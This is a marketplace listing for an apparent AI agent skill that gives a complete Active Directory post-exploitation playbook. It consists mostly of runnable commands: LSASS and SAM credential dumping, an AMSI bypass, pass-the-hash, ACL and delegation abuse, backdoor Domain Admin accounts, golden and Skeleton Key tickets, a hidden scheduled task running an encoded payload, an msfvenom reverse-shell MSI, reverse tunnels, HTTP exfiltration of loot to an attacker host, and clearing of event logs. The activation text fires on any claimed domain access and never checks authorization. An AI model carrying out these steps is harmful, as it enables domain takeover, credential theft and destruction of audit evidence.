# Ad Postexploitation

> Active Directory post-exploitation skill — covers everything after gaining initial access to a Windows domain environment. Activate when the user has valid domain credentials, a shell on a domain-joined machine, or escalated privileges and wants to: move laterally across the network, escalate to Domain Admin, harvest credentials from memory or disk, establish domain persistence, dump LSASS, abuse privilege tokens, or pivot through the domain. Also activate for: pass-the-hash, pass-the-ticket, Mimikatz, LSASS dump, token impersonation, SAM dump, scheduled task persistence, Skeleton Key, Diamond Ticket, AdminSDHolder, or any post-compromise AD activity.

- Skill: `douglasrao/ad-postexploitation` (Agent Skill)
- Install (CLI): `npx skillmds@latest add douglasrao/ad-postexploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/douglasrao/ad-postexploitation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Productivity
- Author: DouglasRao (https://skillmd.com/u/douglasrao)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/douglasrao/ad-postexploitation

---


# AD Post-Exploitation — Lateral Movement, Escalation & Persistence

## Architecture

This skill is largely knowledge-driven. Most commands run on Windows targets via an established
shell (evil-winrm, psexec, WMI, RDP). The attack machine (Linux/macOS) handles tooling
orchestration with impacket and tunneling utilities.

```
Context required:
  SHELL_TYPE   = evil-winrm / psexec / wmiexec / RDP / meterpreter
  TARGET_IP    = IP of the compromised host
  DC_IP        = Domain Controller IP
  DOMAIN       = domain FQDN
  USERNAME     = compromised account
  PASSWORD / NTLM_HASH = credentials
  PRIVILEGE    = current privilege level (standard user / local admin / DA)
```

---

## Initial Setup — Situational Awareness

Run immediately after gaining access:

```powershell
# Identity
whoami /all

# Domain context
net user %username% /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain

# Network
ipconfig /all
route print
netstat -ano | findstr ESTABLISHED

# AV / EDR
sc query windefend
tasklist | findstr -i "defender\|carbon\|crowdstrike\|sentinel\|cylance\|cbdefense"

# PowerShell execution policy
Get-ExecutionPolicy -List
```

Create progress tasks with TaskCreate:
```
"STAGE 1 — Situational Awareness (identity, network, AV)"
"STAGE 2 — Credential Harvesting (LSASS, SAM, LSA secrets)"
"STAGE 3 — Lateral Movement (PTH, PTT, WinRM, PSExec)"
"STAGE 4 — Domain Privilege Escalation"
"STAGE 5 — Domain Persistence"
"STAGE 6 — Data Exfiltration"
"STAGE 7 — Cleanup Checklist"
```

---

## Evidence Capture — Required at Every Stage

**Before every major action, capture a screenshot:**

```bash
# macOS (attack machine — terminal screenshot)
screencapture -x "$OUT/evidence/stage_$(date +%H%M%S)_$DESCRIPTION.png"

# Linux
scrot "$OUT/evidence/stage_$(date +%H%M%S)_$DESCRIPTION.png"

# BloodHound attack path export
# In BloodHound GUI: right-click path → Export → save as $OUT/evidence/bloodhound_path_to_DA.png
```

**Capture terminal output to file alongside every command:**
```bash
# Example: wrap evil-winrm session output
script -q -c "evil-winrm -i $TARGET_IP -u $USERNAME -p $PASSWORD" \
  "$OUT/evidence/shell_${TARGET_IP}_$(date +%Y%m%d_%H%M%S).log"
```

**Submit to Notion when MCP available:**
```
mcp__Notion__notion-create-pages — create finding page with evidence section
mcp__Notion__notion-update-page  — attach screenshot descriptions as blocks
```

---

## Tool Priority

### On attack machine (Linux/macOS)
```
impacket suite        — secretsdump, getST, ticketer, lookupsid, ntlmrelayx
crackmapexec/netexec  — credential sweep, CME modules (lsassy, nanodump, etc.)
evil-winrm            — WinRM shell with upload/download
chisel                — reverse SOCKS tunnel
socat                 — port forwarding
```

### On Windows target (via shell)
```
Mimikatz              — LSASS dump, pass-the-hash, Golden/Silver Ticket, DCSync
Rubeus                — Kerberos attacks, ticket manipulation, AS-REP/Kerberoast
SharpHound            — BloodHound data collection
PowerView / AD Module — AD enumeration from inside
Seatbelt              — host situational awareness
winPEAS               — privilege escalation enumeration
GodPotato / PrintSpoofer / JuicyPotato — token impersonation
PsExec / PsExec64     — lateral movement
procdump / taskmanager — LSASS dump
```

### MCPs (when available)
```
mcp__hexstrike-ai__*  — metasploit_run, msfvenom_generate (if Kali MCP connected)
mcp__Notion__*        — publish findings + evidence screenshots
```

---

## STAGE 1 — In-Depth Situational Awareness

```powershell
# Local admins on this machine
net localgroup Administrators

# Domain-joined machines the user has admin on (from CME sweep)
# (reference $RECON_OUT/enum/admin_hosts.txt from ad-exploitation)

# Active sessions on this machine
query session
query user

# Installed software
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select DisplayName,DisplayVersion

# Patch level — look for known unpatched CVEs
systeminfo | findstr /i "hotfix\|KB"
# Cross-reference with https://github.com/SecureAuthCorp/impacket or Seatbelt

# AppLocker / WDAC
Get-AppLockerPolicy -Effective -Xml
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2

# AMSI patching (if needed for offensive tooling — show user)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

---

## STAGE 2 — Credential Harvesting

### LSASS dump (extract domain credentials)

**Method 1 — Mimikatz (classic, detected by most AV)**
```powershell
# On Windows target:
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Or: dump specific creds
.\mimikatz.exe "privilege::debug" "sekurlsa::wdigest" "exit"
.\mimikatz.exe "privilege::debug" "lsadump::sam" "exit"
.\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit"
```

**Method 2 — procdump (less detected)**
```powershell
# On Windows target:
.\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Transfer lsass.dmp to attack machine, then:
```
```bash
# On attack machine (Linux):
python3 -c "import pypykatz; pypykatz.run_from_file('lsass.dmp')"
# Or with Mimikatz on another Windows machine:
# sekurlsa::minidump lsass.dmp → sekurlsa::logonpasswords
```

**Method 3 — impacket-secretsdump (remote, no shell needed if admin)**
```bash
# On attack machine:
impacket-secretsdump "$DOMAIN/$USERNAME:$PASSWORD@$TARGET_IP"
impacket-secretsdump "$DOMAIN/$USERNAME@$TARGET_IP" -hashes "$NTLM_HASH"
```

**Method 4 — crackmapexec lsassy module**
```bash
$CME smb "$TARGET_IP" -u "$USERNAME" -p "$PASSWORD" -M lsassy
$CME smb "$TARGET_IP" -u "$USERNAME" -p "$PASSWORD" -M nanodump
```

**Method 5 — Task Manager (GUI)**
```
Task Manager → Details tab → right-click lsass.exe → Create dump file
Transfer to attack machine for offline parsing
```

### SAM database dump (local accounts + hashes)

```bash
# Remote (impacket):
impacket-secretsdump "$DOMAIN/$USERNAME:$PASSWORD@$TARGET_IP" -just-dc-user "administrator"

# On Windows target (reg save + transfer):
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITY
# Transfer to attack machine, then:
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
```

### LSA secrets (service account credentials, autologon passwords)

```bash
impacket-secretsdump "$DOMAIN/$USERNAME:$PASSWORD@$TARGET_IP" -just-lsa
```

### DPAPI (browser saved passwords, certificates)

```powershell
# SharpDPAPI to extract Chrome/Edge credentials:
.\SharpDPAPI.exe triage
.\SharpDPAPI.exe credentials /password:$MASTERKEY_PASSWORD
```

---

## STAGE 3 — Lateral Movement

### Pass-the-Hash (PTH)

```bash
# impacket-psexec
impacket-psexec "$DOMAIN/$USERNAME@$TARGET_IP" -hashes ":$NT_HASH"

# impacket-smbexec
impacket-smbexec "$DOMAIN/$USERNAME@$TARGET_IP" -hashes ":$NT_HASH"

# impacket-wmiexec
impacket-wmiexec "$DOMAIN/$USERNAME@$TARGET_IP" -hashes ":$NT_HASH"

# evil-winrm (WinRM)
evil-winrm -i "$TARGET_IP" -u "$USERNAME" -H "$NT_HASH"

# crackmapexec execution
$CME smb "$TARGET_IP" -u "$USERNAME" -H "$NT_HASH" -x "whoami"
```

### Pass-the-Ticket (PTT)

```bash
# Convert .ccache to Windows format (if needed):
impacket-ticketConverter ticket.ccache ticket.kirbi

# Use ticket directly with impacket (Linux):
export KRB5CCNAME="ticket.ccache"
impacket-psexec -k -no-pass "$DOMAIN/$USERNAME@$TARGET_HOSTNAME"
impacket-wmiexec -k -no-pass "$DOMAIN/$USERNAME@$TARGET_HOSTNAME"
```

### Overpass-the-Hash (OPTH) — NTLM hash → Kerberos ticket

```powershell
# On Windows (Mimikatz):
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:$USERNAME /domain:$DOMAIN /ntlm:$NT_HASH /run:powershell.exe" "exit"
# Or Rubeus:
.\Rubeus.exe asktgt /user:$USERNAME /rc4:$NT_HASH /domain:$DOMAIN /dc:$DC_IP /ptt
```

### RDP

```bash
xfreerdp /u:"$USERNAME" /p:"$PASSWORD" /v:"$TARGET_IP" +clipboard /dynamic-resolution /cert:ignore
xfreerdp /u:"$USERNAME" /pth:"$NT_HASH" /v:"$TARGET_IP" +clipboard /cert:ignore
rdesktop -u "$USERNAME" -p "$PASSWORD" -d "$DOMAIN" "$TARGET_IP"
```

---

## STAGE 4 — Domain Privilege Escalation

### BloodHound — attack paths from current position

```cypher
-- Shortest path to Domain Admins from owned account
MATCH p=shortestPath((u:User {name:"OWNED_USER@DOMAIN.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) RETURN p

-- What can the owned user do?
MATCH (u:User {name:"OWNED_USER@DOMAIN.LOCAL"})-[r]->(n) RETURN type(r), n.name

-- Find all computers where DA is logged in
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}),
      (c:Computer)-[:HasSession]->(u) RETURN c.name
```

### ACL Abuse

**GenericAll / GenericWrite over a user → password reset:**
```bash
# Linux (impacket):
impacket-net "$DOMAIN/$OWNED_USER:$PASSWORD@$DC_IP" user "$TARGET_USER" -newpass "Passw0rd@123"
```
```powershell
# Windows (PowerView):
Set-DomainUserPassword -Identity $TARGET_USER -AccountPassword (ConvertTo-SecureString 'Passw0rd@123' -AsPlainText -Force) -Verbose
```

**WriteDACL over domain object → grant DCSync:**
```powershell
# PowerView:
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity $OWNED_USER -Rights DCSync -Verbose
# Now run DCSync from attack machine
```

**ForceChangePassword:**
```powershell
# PowerView:
Set-DomainUserPassword -Identity $TARGET_USER -AccountPassword (ConvertTo-SecureString 'Pass123!' -AsPlainText -Force)
```

**AddMember (GenericAll over group):**
```powershell
# PowerView:
Add-DomainGroupMember -Identity "IT Admins" -Members $OWNED_USER -Verbose
```

### Kerberos Delegation Attacks

**Unconstrained Delegation — coerce DC auth + capture TGT:**
```powershell
# On compromised host with unconstrained delegation (Rubeus):
.\Rubeus.exe monitor /interval:5 /nowrap /filteruser:$DC_ACCOUNT$
# Trigger DC authentication (from attack machine):
python3 printerbug.py "$DOMAIN/$OWNED_USER:$PASSWORD@$DC_IP" "$UNCONSTRAINED_HOST"
# Or PetitPotam (unauthenticated trigger):
python3 PetitPotam.py -u "" -p "" "$UNCONSTRAINED_HOST" "$DC_IP"
# Rubeus captures the TGT → inject:
.\Rubeus.exe ptt /ticket:BASE64_TICKET
# Now DCSync
```

**Constrained Delegation — S4U2Proxy:**
```bash
impacket-getST "$DOMAIN/$SVC_ACCOUNT:$PASSWORD" -spn "cifs/$TARGET_HOSTNAME" -impersonate Administrator
export KRB5CCNAME="Administrator@cifs_$TARGET_HOSTNAME.ccache"
impacket-psexec -k -no-pass "$DOMAIN/Administrator@$TARGET_HOSTNAME"
```

**Resource-Based Constrained Delegation (RBCD):**
```powershell
# Create fake computer account (if MachineAccountQuota > 0):
.\Powermad.ps1; New-MachineAccount -MachineAccount FakePC -Password (ConvertTo-SecureString 'FakePass123!' -AsPlainText -Force)
# Set msDS-AllowedToActOnBehalfOfOtherIdentity on target:
Set-ADComputer $TARGET_HOST -PrincipalsAllowedToDelegateToAccount FakePC$
# Get NT hash of FakePC, then S4U2Self + S4U2Proxy
impacket-getST "$DOMAIN/FakePC:FakePass123!" -spn "cifs/$TARGET_HOSTNAME" -impersonate Administrator
```

### Local Privilege Escalation (from low-priv shell on Windows)

**Token impersonation — SeImpersonatePrivilege (typical for IIS/MSSQL):**
```powershell
whoami /priv | findstr /i "impersonate\|assignprimary"
# If SeImpersonatePrivilege:
.\GodPotato.exe -cmd "cmd /c net user backdoor Pass123! /add && net localgroup Administrators backdoor /add"
.\PrintSpoofer.exe -i -c cmd     # Windows 10 / Server 2019+
.\JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {CLSID}  # older systems
```

**AlwaysInstallElevated:**
```powershell
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both = 0x1:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f msi > priv.msi
msiexec /quiet /qn /i priv.msi
```

**Unquoted service path:**
```powershell
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
# If found and path is writable:
icacls "C:\Program Files\Vulnerable Service\"
# Drop malicious binary in the gap
```

**Writable service binary:**
```powershell
# List services + paths
Get-CimInstance -ClassName Win32_Service | Where-Object {$_.State -eq "Running"} | Select name,pathname
# Check ACL
icacls "C:\path\to\service.exe"
# If writable: replace binary with reverse shell, restart service
sc stop $SERVICE_NAME; sc start $SERVICE_NAME
```

---

## STAGE 5 — Domain Persistence

### Domain Admin account (quickest)

```powershell
# On DC (via DA shell):
net user /add backdoor "P@ssw0rd123!" /domain
net group "Domain Admins" backdoor /add /domain
net group "Enterprise Admins" backdoor /add /domain
```

### Golden Ticket (krbtgt hash → unlimited TGT forgery)

```bash
# Requires krbtgt NTLM hash + domain SID (from DCSync in ad-exploitation)
KRBTGT_HASH=$(grep -i krbtgt "$EXPLOIT_OUT/loot/krbtgt_hash.txt" | cut -d: -f4)
DOMAIN_SID=$(impacket-lookupsid "$DOMAIN/$USERNAME:$PASSWORD@$DC_IP" 2>/dev/null | grep "Domain SID" | awk '{print $NF}')

# Generate ticket (10-year validity):
impacket-ticketer -nthash "$KRBTGT_HASH" -domain-sid "$DOMAIN_SID" \
  -domain "$DOMAIN" -duration 3650 Administrator
export KRB5CCNAME="Administrator.ccache"
impacket-psexec -k -no-pass "$DOMAIN/Administrator@$DC_HOSTNAME"
```

### Diamond Ticket (stealthier Golden Ticket — modifies real TGT)

```powershell
# Rubeus on Windows:
.\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /krbkey:$KRBTGT_AES256 /nowrap
```

### Silver Ticket (service account hash → forge service TGS)

```bash
impacket-ticketer -nthash "$SVC_HASH" -domain-sid "$DOMAIN_SID" \
  -domain "$DOMAIN" -spn "cifs/$TARGET_HOSTNAME" Administrator
```

### Skeleton Key (Mimikatz — patches LSASS on DC, all users can auth with "mimikatz")

```powershell
# On DC (requires DA):
.\mimikatz.exe "privilege::debug" "misc::skeleton" "exit"
# After: any user can authenticate with password "mimikatz" (until DC reboot)
```

### AdminSDHolder ACL abuse (persistent DA via SDProp timer)

```powershell
# Add owned user to AdminSDHolder DACL → SDProp propagates every 60min
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \
  -PrincipalIdentity $OWNED_USER -Rights All -Verbose
# After ~60min, owned user has GenericAll over all protected groups
```

### Scheduled task on DC

```powershell
schtasks /create /s $DC_IP /u $DOMAIN\$USERNAME /p $PASSWORD \
  /tn "WindowsUpdate" /tr "powershell -nop -w hidden -enc BASE64_PAYLOAD" \
  /sc hourly /ru SYSTEM /f
```

---

## STAGE 6 — Data Exfiltration & Pivoting

### Sensitive files on domain shares

```powershell
# Find interesting files on accessible shares
$CME smb $DC_IP -u $USERNAME -p $PASSWORD -M spider_plus

# Manual search
Get-ChildItem -Path \\$DC_IP\SYSVOL -Recurse -Include *.xml,*.ini,*.config 2>/dev/null | Select FullName
# GPP passwords (if old DC): look for cpassword in Groups.xml
Get-ChildItem -Path \\$DC_IP\SYSVOL -Recurse -Include Groups.xml | Select-String "cpassword"
```

### Pivoting with chisel (expose internal services to attack machine)

```bash
# Attack machine: start server
chisel server -p 9001 --reverse

# On Windows target (upload chisel.exe via evil-winrm):
.\chisel.exe client LHOST:9001 R:8080:INTERNAL_HOST:80   # expose internal web app
.\chisel.exe client LHOST:9001 R:socks                    # SOCKS5 proxy to internal network

# Use SOCKS proxy on attack machine:
proxychains nmap -sT $INTERNAL_HOST
proxychains impacket-psexec $DOMAIN/$USERNAME:$PASSWORD@$INTERNAL_HOST
```

### SSH tunnel from Windows (if OpenSSH available)

```powershell
# On Windows target (PowerShell with OpenSSH):
ssh -N -R 8080:INTERNAL_HOST:80 attacker@LHOST    # reverse tunnel
ssh -N -D 1080 attacker@LHOST                      # SOCKS5
```

### Transfer evidence back to attack machine

```powershell
# Via evil-winrm download:
download C:\Windows\Temp\lsass.dmp

# Via SMB (attack machine: impacket-smbserver):
# Attack: impacket-smbserver share $(pwd) -smb2support
copy C:\Temp\loot.zip \\LHOST\share\loot.zip

# Via HTTP POST (attack machine: python3 -m http.server with upload):
Invoke-WebRequest -Uri "http://LHOST:8080/upload" -Method POST -InFile "C:\Temp\loot.zip"
```

---

## STAGE 7 — Cleanup Checklist

After engagement, remove all artifacts:

```powershell
# Remove backdoor user
net user backdoor /delete /domain

# Remove scheduled tasks
schtasks /delete /tn "WindowsUpdate" /f /s $DC_IP /u $DOMAIN\$USERNAME /p $PASSWORD

# Remove created computer accounts (RBCD)
Remove-ADComputer -Identity "FakePC" -Confirm:$false

# Reverse DCSync rights granted via WriteDACL
Remove-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity $OWNED_USER -Rights DCSync

# Remove AdminSDHolder ACL entry
Remove-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \
  -PrincipalIdentity $OWNED_USER -Rights All

# Clean dropped files on targets
del C:\Temp\mimikatz.exe, C:\Temp\procdump.exe, C:\Temp\lsass.dmp, ...

# Clear event logs (only if authorized and in scope)
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
```

---

## Operational Notes

- **AV/EDR evasion**: prefer in-memory execution (Cobalt Strike, Sliver C2) for authorized red team ops; for pentest: obfuscated PowerShell + AMSI bypass
- **Mimikatz detection**: wdigest is disabled by default on Windows 10/2012R2+ (requires `sekurlsa::wdigest` + registry enable + re-login); prefer procdump + offline parsing
- **Golden Ticket detection**: SIEM detects Event ID 4769 with unusual encryption (RC4 when domain enforces AES) — prefer RC4 for compatibility, AES256 for stealth
- **Cleanup is mandatory**: always confirm all artifacts removed before closing the engagement
- **Document everything**: screenshot every credential obtained, every host compromised, every persistence mechanism established
- **Pass to ad-report**: all findings, obtained credentials, attack paths, and screenshots go to `ad-report` skill for final report generation